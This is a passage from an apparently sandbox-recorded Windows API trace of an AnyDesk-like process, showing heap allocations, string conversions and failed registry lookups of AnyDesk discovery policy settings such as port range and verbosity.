lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.802] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x41) returned 0x198c3c8 [0283.802] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x1990a18 [0283.802] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c3c8 | out: hHeap=0x1930000) returned 1 [0283.802] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969890 [0283.802] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aac50 [0283.803] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970e88 [0283.803] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.803] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969880 | out: hHeap=0x1930000) returned 1 [0283.803] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x1990a98 [0283.803] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.repeatinterval", lpReserved=0x0, lpType=0x294b258, lpData=0x0, lpcbData=0x294b25c*=0x0 | out: lpType=0x294b258*=0x0, lpData=0x0, lpcbData=0x294b25c*=0x0) returned 0x6 [0283.803] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b284 | out: phkResult=0x294b284*=0x0) returned 0x2 [0283.803] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990a98 | out: hHeap=0x1930000) returned 1 [0283.803] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969870 | out: hHeap=0x1930000) returned 1 [0283.803] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x19ab150 [0283.803] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698a0 | out: hHeap=0x1930000) returned 1 [0283.804] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab150 | out: hHeap=0x1930000) returned 1 [0283.804] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970cd8 | out: hHeap=0x1930000) returned 1 [0283.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc16574, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 26 [0283.804] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1990a98 [0283.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc16574, cbMultiByte=-1, lpWideCharStr=0x1990a98, cchWideChar=26 | out: lpWideCharStr="ad.discovery.repeat_limit") returned 26 [0283.804] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698a0 [0283.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.804] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969870 [0283.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969870, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.804] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969880 [0283.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.804] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969890 [0283.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969890, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.804] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.804] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3b) returned 0x1970cd8 [0283.804] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1962bd0 [0283.805] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970cd8 | out: hHeap=0x1930000) returned 1 [0283.805] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969890 [0283.805] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aac70 [0283.805] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x197b350 [0283.805] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1972c58 [0283.805] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961d50 | out: hHeap=0x1930000) returned 1 [0283.805] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.805] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969880 | out: hHeap=0x1930000) returned 1 [0283.805] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1962c08 [0283.805] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.repeatlimit", lpReserved=0x0, lpType=0x294b258, lpData=0x0, lpcbData=0x294b25c*=0x0 | out: lpType=0x294b258*=0x0, lpData=0x0, lpcbData=0x294b25c*=0x0) returned 0x6 [0283.805] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b284 | out: phkResult=0x294b284*=0x0) returned 0x2 [0283.806] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962c08 | out: hHeap=0x1930000) returned 1 [0283.806] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969880 [0283.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.806] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969890 [0283.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969890, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.806] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.806] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3b) returned 0x1970cd8 [0283.806] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1962c08 [0283.807] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970cd8 | out: hHeap=0x1930000) returned 1 [0283.807] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969890 [0283.807] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aac90 [0283.807] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1963460 [0283.807] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.807] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969880 | out: hHeap=0x1930000) returned 1 [0283.807] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19742b0 [0283.807] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.repeatlimit", lpReserved=0x0, lpType=0x294b258, lpData=0x0, lpcbData=0x294b25c*=0x0 | out: lpType=0x294b258*=0x0, lpData=0x0, lpcbData=0x294b25c*=0x0) returned 0x6 [0283.807] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b284 | out: phkResult=0x294b284*=0x0) returned 0x2 [0283.808] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.808] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698a0 | out: hHeap=0x1930000) returned 1 [0283.808] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x19698a0 [0283.808] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969870 | out: hHeap=0x1930000) returned 1 [0283.808] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698a0 | out: hHeap=0x1930000) returned 1 [0283.808] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990a98 | out: hHeap=0x1930000) returned 1 [0283.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc16590, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 29 [0283.808] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970cd8 [0283.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc16590, cbMultiByte=-1, lpWideCharStr=0x1970cd8, cchWideChar=29 | out: lpWideCharStr="ad.discovery.buffer_interval") returned 29 [0283.808] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698a0 [0283.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.808] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969870 [0283.809] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969870, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.809] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969880 [0283.809] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.809] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969890 [0283.809] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969890, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.809] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.809] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x41) returned 0x198c3c8 [0283.809] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x1990a98 [0283.809] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c3c8 | out: hHeap=0x1930000) returned 1 [0283.809] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969890 [0283.809] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aacb0 [0283.809] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970ed0 [0283.809] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.810] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969880 | out: hHeap=0x1930000) returned 1 [0283.810] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x19634a0 [0283.810] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.bufferinterval", lpReserved=0x0, lpType=0x294b258, lpData=0x0, lpcbData=0x294b25c*=0x0 | out: lpType=0x294b258*=0x0, lpData=0x0, lpcbData=0x294b25c*=0x0) returned 0x6 [0283.810] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b284 | out: phkResult=0x294b284*=0x0) returned 0x2 [0283.810] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19634a0 | out: hHeap=0x1930000) returned 1 [0283.810] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969880 [0283.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969890 [0283.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969890, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.811] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x41) returned 0x198c3c8 [0283.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x19634a0 [0283.811] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c3c8 | out: hHeap=0x1930000) returned 1 [0283.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969890 [0283.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aacd0 [0283.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970f18 [0283.811] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.811] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969880 | out: hHeap=0x1930000) returned 1 [0283.812] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x19634e0 [0283.812] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.bufferinterval", lpReserved=0x0, lpType=0x294b258, lpData=0x0, lpcbData=0x294b25c*=0x0 | out: lpType=0x294b258*=0x0, lpData=0x0, lpcbData=0x294b25c*=0x0) returned 0x6 [0283.812] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b284 | out: phkResult=0x294b284*=0x0) returned 0x2 [0283.812] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19634e0 | out: hHeap=0x1930000) returned 1 [0283.812] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698a0 | out: hHeap=0x1930000) returned 1 [0283.812] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x19ab150 [0283.812] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969870 | out: hHeap=0x1930000) returned 1 [0283.812] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab150 | out: hHeap=0x1930000) returned 1 [0283.813] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970cd8 | out: hHeap=0x1930000) returned 1 [0283.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc165b0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0283.813] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19742b0 [0283.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc165b0, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=24 | out: lpWideCharStr="ad.discovery.port_range") returned 24 [0283.813] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969870 [0283.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.813] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698a0 [0283.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x19698a0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.813] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969880 [0283.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.813] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969890 [0283.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969890, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.813] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.813] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x37) returned 0x19634e0 [0283.814] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961d50 [0283.814] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19634e0 | out: hHeap=0x1930000) returned 1 [0283.814] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969890 [0283.814] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aacf0 [0283.814] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa000 [0283.814] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.814] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969880 | out: hHeap=0x1930000) returned 1 [0283.814] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961ed0 [0283.814] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.portrange", lpReserved=0x0, lpType=0x294b250, lpData=0x0, lpcbData=0x294b254*=0x0 | out: lpType=0x294b250*=0x0, lpData=0x0, lpcbData=0x294b254*=0x0) returned 0x6 [0283.814] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b27c | out: phkResult=0x294b27c*=0x0) returned 0x2 [0283.815] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961ed0 | out: hHeap=0x1930000) returned 1 [0283.815] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969880 [0283.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.815] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969890 [0283.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969890, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.815] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.815] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x37) returned 0x19634e0 [0283.815] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961ed0 [0283.816] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19634e0 | out: hHeap=0x1930000) returned 1 [0283.816] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969890 [0283.816] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aad10 [0283.816] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa038 [0283.816] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.816] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969880 | out: hHeap=0x1930000) returned 1 [0283.816] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961f30 [0283.816] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.portrange", lpReserved=0x0, lpType=0x294b250, lpData=0x0, lpcbData=0x294b254*=0x0 | out: lpType=0x294b250*=0x0, lpData=0x0, lpcbData=0x294b254*=0x0) returned 0x6 [0283.816] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b27c | out: phkResult=0x294b27c*=0x0) returned 0x2 [0283.817] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961f30 | out: hHeap=0x1930000) returned 1 [0283.817] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969870 | out: hHeap=0x1930000) returned 1 [0283.817] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969870 [0283.817] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698a0 | out: hHeap=0x1930000) returned 1 [0283.817] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969870 | out: hHeap=0x1930000) returned 1 [0283.817] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc165c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0283.817] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19742b0 [0283.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc165c8, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=21 | out: lpWideCharStr="ad.discovery.verbose") returned 21 [0283.818] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969870 [0283.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.818] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698a0 [0283.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x19698a0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.818] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969880 [0283.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.818] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969890 [0283.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969890, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.818] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.818] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x31) returned 0x19634e0 [0283.818] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1961f30 [0283.819] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19634e0 | out: hHeap=0x1930000) returned 1 [0283.819] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969890 [0283.819] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aad30 [0283.819] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa070 [0283.819] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.819] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969880 | out: hHeap=0x1930000) returned 1 [0283.819] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1961f90 [0283.819] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.verbose", lpReserved=0x0, lpType=0x294b258, lpData=0x0, lpcbData=0x294b25c*=0x0 | out: lpType=0x294b258*=0x0, lpData=0x0, lpcbData=0x294b25c*=0x0) returned 0x6 [0283.819] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b284 | out: phkResult=0x294b284*=0x0) returned 0x2 [0283.819] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961f90 | out: hHeap=0x1930000) returned 1 [0283.820] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969880 [0283.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.820] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969890 [0283.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969890, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.820] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.820] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x31) returned 0x19634e0 [0283.820] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1961f90 [0283.820] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19634e0 | out: hHeap=0x1930000) returned 1 [0283.820] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969890 [0283.820] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aad50 [0283.820] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa0a8 [0283.820] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa0) returned 0x19917c0 [0283.821] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972050 | out: hHeap=0x1930000) returned 1 [0283.821] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.821] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969880 | out: hHeap=0x1930000) returned 1 [0283.821] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1961fc0 [0283.821] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.verbose", lpReserved=0x0, lpType=0x294b258, lpData=0x0, lpcbData=0x294b25c*=0x0 | out: lpType=0x294b258*=0x0, lpData=0x0, lpcbData=0x294b25c*=0x0) returned 0x6 [0283.821] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b284 | out: phkResult=0x294b284*=0x0) returned 0x2 [0283.821] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961fc0 | out: hHeap=0x1930000) returned 1 [0283.822] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969870 | out: hHeap=0x1930000) returned 1 [0283.822] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969870 [0283.822] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698a0 | out: hHeap=0x1930000) returned 1 